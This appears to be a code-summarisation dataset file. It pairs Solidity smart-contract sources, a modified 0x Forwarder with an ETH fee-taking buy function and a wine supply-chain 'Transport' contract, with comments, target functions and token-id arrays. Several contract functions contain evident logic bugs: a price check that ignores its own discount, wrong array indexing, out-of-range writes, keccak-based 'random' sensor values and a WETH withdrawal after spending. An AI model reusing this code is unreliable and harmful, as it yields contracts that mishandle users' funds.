/// @param makerAssetBuyAmount Desired amount of makerAsset to fill.
/// @param signatures Proofs that orders have been signed by makers.
/// @return totalWethSpentAmount Total amount of WETH spent on the given orders.
/// @return totalMakerAssetAcquiredAmount Total amount of maker asset acquired from the given orders.
function _marketBuyFillOrKill(
LibOrder.Order[] memory orders,
uint256 makerAssetBuyAmount,
bytes[] memory signatures
)
internal
returns (
uint256 totalWethSpentAmount,
uint256 totalMakerAssetAcquiredAmount
)
{
uint256 ordersLength = orders.length;
for (uint256 i = 0; i != ordersLength; i++) {
// Preemptively skip to avoid division by zero in _marketBuySingleOrder
if (orders[i].makerAssetAmount == 0 || orders[i].takerAssetAmount == 0) {
continue;
}
uint256 remainingMakerAssetFillAmount = makerAssetBuyAmount
.safeSub(totalMakerAssetAcquiredAmount);
// If the maker asset is ERC20Bridge, take a snapshot of the Forwarder contract's balance.
bytes4 makerAssetProxyId = orders[i].makerAssetData.readBytes4(0);
address tokenAddress;
uint256 balanceBefore;
if (makerAssetProxyId == ERC20_BRIDGE_PROXY_ID) {
tokenAddress = orders[i].makerAssetData.readAddress(16);
balanceBefore = IERC20Token(tokenAddress).balanceOf(address(this));
}
(
uint256 wethSpentAmount,
uint256 makerAssetAcquiredAmount
) = _marketBuySingleOrder(
orders[i],
signatures[i],
remainingMakerAssetFillAmount
);
// Account for the ERC20Bridge transfering more of the maker asset than expected.
if (makerAssetProxyId == ERC20_BRIDGE_PROXY_ID) {
uint256 balanceAfter = IERC20Token(tokenAddress).balanceOf(address(this));
makerAssetAcquiredAmount = LibSafeMath.max256(
balanceAfter.safeSub(balanceBefore),
makerAssetAcquiredAmount
);
}
orders[i].makerAssetData.transferOut(makerAssetAcquiredAmount);
totalWethSpentAmount = totalWethSpentAmount
.safeAdd(wethSpentAmount);
totalMakerAssetAcquiredAmount = totalMakerAssetAcquiredAmount
.safeAdd(makerAssetAcquiredAmount);
// Stop execution if the entire amount of makerAsset has been bought
if (totalMakerAssetAcquiredAmount >= makerAssetBuyAmount) {
break;
}
}
if (totalMakerAssetAcquiredAmount < makerAssetBuyAmount) {
LibRichErrors.rrevert(LibForwarderRichErrors.CompleteBuyFailedError(
makerAssetBuyAmount,
totalMakerAssetAcquiredAmount
));
}
}
/// @dev Fills the input ExchangeV2 order. The `makerFeeAssetData` must be
// equal to EXCHANGE_V2_ORDER_ID (0x770501f8).
/// Returns false if the transaction would otherwise revert.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function _fillV2OrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
// Strip v3 specific fields from order
IExchangeV2.Order memory v2Order = IExchangeV2.Order({
makerAddress: order.makerAddress,
takerAddress: order.takerAddress,
feeRecipientAddress: order.feeRecipientAddress,
senderAddress: order.senderAddress,
makerAssetAmount: order.makerAssetAmount,
takerAssetAmount: order.takerAssetAmount,
// NOTE: We assume fees are 0 for all v2 orders. Orders with non-zero fees will fail to be filled.
makerFee: 0,
takerFee: 0,
expirationTimeSeconds: order.expirationTimeSeconds,
salt: order.salt,
makerAssetData: order.makerAssetData,
takerAssetData: order.takerAssetData
});
// ABI encode calldata for `fillOrder`
bytes memory fillOrderCalldata = abi.encodeWithSelector(
IExchangeV2(address(0)).fillOrder.selector,
v2Order,
takerAssetFillAmount,
signature
);
address exchange = address(EXCHANGE_V2);
(bool didSucceed, bytes memory returnData) = exchange.call(fillOrderCalldata);
if (didSucceed) {
assert(returnData.length == 128);
// NOTE: makerFeePaid, takerFeePaid, and protocolFeePaid will always be 0 for v2 orders
(fillResults.makerAssetFilledAmount, fillResults.takerAssetFilledAmount) = abi.decode(returnData, (uint256, uint256));
}
// fillResults values will be 0 by default if call was unsuccessful
return fillResults;
}
/// @dev Fills the input ExchangeV3 order.
/// Returns false if the transaction would otherwise revert.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function _fillV3OrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
// ABI encode calldata for `fillOrder`
bytes memory fillOrderCalldata = abi.encodeWithSelector(
IExchange(address(0)).fillOrder.selector,
order,
takerAssetFillAmount,
signature
);
address exchange = address(EXCHANGE);
(bool didSucceed, bytes memory returnData) = exchange.call(fillOrderCalldata);
if (didSucceed) {
assert(returnData.length == 160);
fillResults = abi.decode(returnData, (LibFillResults.FillResults));
}
// fillResults values will be 0 by default if call was unsuccessful
return fillResults;
}
/// @dev Checks whether one asset is effectively equal to another asset.
/// This is the case if they have the same ERC20Proxy/ERC20BridgeProxy asset data, or if
/// one is the ERC20Bridge equivalent of the other.
/// @param assetData1 Byte array encoded for the takerFee asset proxy.
/// @param assetData2 Byte array encoded for the maker asset proxy.
/// @return areEqual Whether or not the underlying assets are equal.
function _areUnderlyingAssetsEqual(
bytes memory assetData1,
bytes memory assetData2
)
internal
pure
returns (bool)
{
bytes4 assetProxyId1 = assetData1.readBytes4(0);
bytes4 assetProxyId2 = assetData2.readBytes4(0);
bytes4 erc20ProxyId = IAssetData(address(0)).ERC20Token.selector;
bytes4 erc20BridgeProxyId = IAssetData(address(0)).ERC20Bridge.selector;
if (
(assetProxyId1 == erc20ProxyId || assetProxyId1 == erc20BridgeProxyId) &&
(assetProxyId2 == erc20ProxyId || assetProxyId2 == erc20BridgeProxyId)
) {
// Compare the underlying token addresses.
address token1 = assetData1.readAddress(16);
address token2 = assetData2.readAddress(16);
return (token1 == token2);
} else {
return assetData1.equals(assetData2);
}
}
/// @dev Checks whether an order is a v2 order.
/// @param order Order struct containing order specifications.
/// @return True if the order's `makerFeeAssetData` is set to the v2 order id.
function _isV2Order(LibOrder.Order memory order)
internal
pure
returns (bool)
{
return order.makerFeeAssetData.length > 3 && order.makerFeeAssetData.readBytes4(0) == EXCHANGE_V2_ORDER_ID;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MixinReceiver {
bytes4 constant public ERC1155_RECEIVED = 0xf23a6e61;
bytes4 constant public ERC1155_BATCH_RECEIVED = 0xbc197c81;
/// @notice Handle the receipt of a single ERC1155 token type
/// @dev The smart contract calls this function on the recipient
/// after a `safeTransferFrom`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
///transaction being reverted
/// Note: the contract address is always the message sender
/// @param operator The address which called `safeTransferFrom` function
/// @param from The address which previously owned the token
/// @param id An array containing the ids of the token being transferred
/// @param value An array containing the amount of tokens being transferred
/// @param data Additional data with no specified format
/// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns (bytes4)
{
return ERC1155_RECEIVED;
}
/// @notice Handle the receipt of multiple ERC1155 token types
/// @dev The smart contract calls this function on the recipient
/// after a `safeTransferFrom`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted
/// Note: the contract address is always the message sender
/// @param operator The address which called `safeTransferFrom` function
/// @param from The address which previously owned the token
/// @param ids An array containing ids of each token being transferred
/// @param values An array containing amounts of each token being transferred
/// @param data Additional data with no specified format
/// @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns (bytes4)
{
return ERC1155_BATCH_RECEIVED;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IForwarder {
/// @dev Withdraws assets from this contract. The contract requires a ZRX balance in order to
/// function optimally, and this function allows the ZRX to be withdrawn by owner. It may also be
/// used to withdraw assets that were accidentally sent to this contract.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of ERC20 token to withdraw.
function withdrawAsset(
bytes calldata assetData,
uint256 amount
)
external;
}
contract Forwarder is
IForwarder,
Ownable,
MixinWethUtils,
MixinExchangeWrapper,
MixinReceiver
{
using LibBytes for bytes;
using LibAssetDataTransfer for bytes;
using LibSafeMath for uint256;
constructor (
address _exchange,
address _exchangeV2,
address _weth
)
public
Ownable()
MixinWethUtils(
_exchange,
_weth
)
MixinExchangeWrapper(
_exchange,
_exchangeV2
)
{} // solhint-disable-line no-empty-blocks
/// @dev Withdraws assets from this contract. It may be used by the owner to withdraw assets
/// that were accidentally sent to this contract.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of the asset to withdraw.
function withdrawAsset(
bytes calldata assetData,
uint256 amount
)
external
onlyOwner
{
assetData.transferOut(amount);
}
// maker lists NFT for x eth with this contract address as sender's address and all fees to this contract address .
// the 0x order is only fillable via this sender's contract
// contract then converts the weth to eth and sends to maker after taking the fees
// hardcoded the fee so owner cant arbitarily change fee to anything without timelock
function BuyOrderWithEth(
LibOrder.Order memory order,
uint256 makerAssetBuyAmount,
bytes memory signature
)
public
payable
returns (
uint256 wethSpentAmount,
uint256 makerAssetAcquiredAmount
)
{
uint256 fee = 10000; // 1%
uint256 feeBase = 1000000;
// convert all eth to weth
WETH.deposit.value(msg.value)();
// converting to arays for use in _marketBuyFillOrKill function
LibOrder.Order[] memory orderarray = new LibOrder.Order[](1);
orderarray[0] = order;
bytes[] memory signaturearray = new bytes[](1);
signaturearray[0] = signature;
(
wethSpentAmount,
makerAssetAcquiredAmount
) = _marketBuyFillOrKill(
orderarray,
makerAssetBuyAmount,
signaturearray
);
// Ensure that no extra WETH owned by this contract has been spent.
if (wethSpentAmount > msg.value) {
LibRichErrors.rrevert(LibForwarderRichErrors.OverspentWethError(
wethSpentAmount,
msg.value
));
}
WETH.withdraw(msg.value);
//require(success, "all weth didnt come to this contract");
uint256 ethFeeAmount = wethSpentAmount*fee/feeBase;
_transferEthToAddress(ethFeeAmount,owner);
_transferEthToAddress(wethSpentAmount.safeSub(ethFeeAmount),order.makerAddress);
uint256 wethRemaining = msg.value.safeSub(wethSpentAmount);
//dust
if (wethRemaining>100000000000000){
msg.sender.transfer(wethRemaining);
}
}
}
// https://www.diffchecker.com/mrnWosGS
|
@dev Transfer asset from this contract to sender. @param assetData Byte array encoded for the respective asset proxy. @param amount Amount of asset to transfer to sender.
|
function transferOut(
bytes memory assetData,
uint256 amount
)
internal
{
assetData.transferFrom(
address(this),
msg.sender,
amount
);
}
| 567,171 |
[
1,
5912,
3310,
628,
333,
6835,
358,
5793,
18,
225,
3310,
751,
3506,
526,
3749,
364,
326,
17613,
3310,
2889,
18,
225,
3844,
16811,
434,
3310,
358,
7412,
358,
5793,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7412,
1182,
12,
203,
3639,
1731,
3778,
3310,
751,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
203,
3639,
2713,
203,
565,
288,
203,
3639,
3310,
751,
18,
13866,
1265,
12,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
1234,
18,
15330,
16,
203,
5411,
3844,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: CC-BY-4.0
pragma solidity >=0.4.22 <0.9.0;
import "./Payment.sol";
contract Transport is Payment {
struct Producer {
address produceraddr;
string producername;
}
struct Distributor {
address distaddr;
string distname;
}
struct Product {
uint prodID;
string prodname;
uint pricePerUnit;
address produceraddr;
uint stock;
}
struct TrackingOrder {
bool flag;
uint trackingNo;
string prodname;
uint prodID;
address distaddr;
address produceraddr;
uint quantity;
uint amount;
}
mapping(address => Producer) public producer;
mapping(uint => Producer) public prostock;
mapping(address => Distributor) public distributor;
mapping(address => Product) public product;
mapping(uint => TrackingOrder) public trackingorder;
mapping( uint => Product) public pro;
//Arrays
uint[] luminosity;
uint[] temperature;
uint[] accelerometer;
TrackingOrder[] tracking ;
//Events
event pop(uint value);
event TransportMessage(string message);
event TransportMessage1(string message, string m1);
event TransportInfo(string _message,uint _trackingNo);
event add(string s1,string s2,string s3,address s4);
//addition functions
function addProducer(address _produceraddr, string memory _name) public {
producer[_produceraddr].producername = _name;
emit add("producer with name: ",_name,"and address:", _produceraddr);
}
function addDistributor(address _distaddr, string memory _name) public {
distributor[_distaddr].distname = _name;
emit add("distributor with name: ",_name,"and address:", _distaddr);
}
function addProduct(uint _prodID)
public
{
if(_prodID == 1) {
pro[1].prodname = "Red Wine";
pro[1].pricePerUnit = 10;
pro[1].prodID = 1;
pro[1].stock = 10;
emit TransportMessage1("Product added: ",pro[1].prodname);
} else if(_prodID == 2) {
pro[2].prodname = "White Wine";
pro[2].pricePerUnit = 15;
pro[2].prodID = 2;
pro[2].stock = 20;
emit TransportMessage1("Product added: ",pro[2].prodname);
}
}
//setupShipment is supposed to be called by Distributor
function createOrderByDistributor(address _produceraddr, address _distaddr,uint _quantity, uint _prodID)
public
returns(uint)
{
Producer storage p = producer [_produceraddr];
Distributor storage d = distributor[_distaddr];
p.produceraddr = _produceraddr;
d.distaddr = _distaddr;
uint _trackingNo = uint256(keccak256(abi.encodePacked(_prodID)));
TrackingOrder storage t = trackingorder[_trackingNo];
t.trackingNo = _trackingNo;
t.quantity = _quantity;
emit TransportInfo("Tracking no.:",_trackingNo);
return _trackingNo;
}
function sendOrderByDistributor(address _produceraddr,address _distaddr,uint _trackingNo,uint _quantity)
public
{
emit TransportMessage("Order has been placed by distributor");
Product memory p;
// tracking[_trackingNo]= ;
tracking[_trackingNo].prodname = p.prodname;
tracking[_trackingNo].trackingNo = _trackingNo;
tracking[_trackingNo].prodID = p.prodID;
tracking[_trackingNo].distaddr = _distaddr;
tracking[_trackingNo].produceraddr = _produceraddr;
tracking[_trackingNo].quantity = _quantity;
emit pop(tracking[_trackingNo].trackingNo);
acceptOrderByProducer(_produceraddr,_trackingNo); //producer accepts order and then sends the order
}
//structure object
TrackingOrder ord;
//acceptOrder is supposed to be called by producer
function acceptOrderByProducer(address _produceraddr,uint _trackingNo)
public
returns (uint)
{
require(msg.sender == _produceraddr,"");
Product storage prod = product[_produceraddr];
TrackingOrder storage t = tracking[_trackingNo];
emit pop(t.trackingNo);
if((t.trackingNo == _trackingNo) && (prod.stock >= t.quantity)) {
prod.stock = prod.stock - t.quantity;
emit TransportInfo("product sent: ",trackingorder[_trackingNo].trackingNo);
emit TransportInfo("Stock remained: ",prod.stock);
ord.flag = true;
uint amount = (t.quantity * prod.pricePerUnit);
emit TransportInfo("Auto amount: ",amount);
return amount;
} else {
emit TransportMessage("Insufficient quantity or wrong product");
}
return 0;
}
function randomtemperature(uint no, uint hrs)
public
returns (uint[] memory)
{
uint _no = no;
for(uint i = 0 ; i < hrs ; i++) {
temperature.push((uint256(keccak256(abi.encodePacked(_no))) % 100));
temperature[i] = (temperature[i] % 10);
temperature[i] = (temperature[i] * 3);
_no++;
emit pop(temperature[i]);
}
return temperature;
}
function randomaccelerometer(uint no, uint hrs)
public
returns (uint[] memory)
{
uint _no = no;
for(uint i = 0 ; i<hrs ; i++) {
accelerometer.push((uint256(keccak256(abi.encodePacked(_no)))%10));
//accelerometer[i] = accelerometer[i]/10;
_no++;
emit pop(accelerometer[i]);
}
return accelerometer;
}
function randomluminosity(uint no, uint hrs)
public
returns (uint[] memory)
{
uint _no = no;
for(uint i = 0 ; i<hrs ; i++) {
luminosity.push((uint256(keccak256(abi.encodePacked(_no)))%1000));
_no++;
emit pop(luminosity[i]);
}
return luminosity;
}
function acceptOrderByDistributor(uint _trackingNo, address _distaddr, address _produceraddr, uint _amount)
public
{
TrackingOrder storage t = trackingorder[_trackingNo];
require(ord.flag == true, "");
if(t.trackingNo == _trackingNo){
emit TransportMessage("Product received");
uint amt = checkprice(_amount);
makePayment(_distaddr,_produceraddr, amt);
emit TransportMessage("Payment sent by distributor");
}
}
function checkprice (uint _amount)
public
returns(uint)
{
uint amt;
for (uint i = 0;i < temperature.length; i++) {
if (temperature[i]>20) {
amt = _amount - ((_amount*10) / 100);
} else {
amt = _amount;
}
for (uint j = 0; j < luminosity.length; j++) {
if (luminosity[i] > 80) {
amt = _amount - ((_amount*10) / 100);
} else {
amt = _amount;
}
for (uint k = 0; k < accelerometer.length; k++) {
if (accelerometer[i] < 1) {
amt = _amount - ((_amount*10) / 100);
} else {
amt = _amount;
}
}
}
}
emit TransportInfo("The Final Amount is: ",amt);
if (amt == _amount) {
emit TransportMessage("Custom's Verified");
}
return _amount;
}
}
|
producer accepts order and then sends the order
|
acceptOrderByProducer(_produceraddr,_trackingNo);
| 7,218,388 |
[
1,
11776,
2750,
8104,
1353,
471,
1508,
9573,
326,
1353,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
2791,
15658,
12140,
24899,
11776,
2750,
4793,
16,
67,
6440,
2279,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0x2b1c82C0b973315085C03B7FF06c1046931E12EF/sources/FINMINITY.sol
|
10 percent per month
|
uint256 unLockPercentage = 10;
| 5,082,888 |
[
1,
2163,
5551,
1534,
3138,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
640,
2531,
16397,
273,
1728,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/84531/0xd7149865d07cCfdfB10f858AFAb297A8251882Cc/sources/contracts/utils/Governable.sol
|
@dev Initializes the contract setting the deployer address as governance
|
constructor() {
_setGov(msg.sender);
}
| 11,525,388 |
[
1,
9685,
326,
6835,
3637,
326,
7286,
264,
1758,
487,
314,
1643,
82,
1359,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
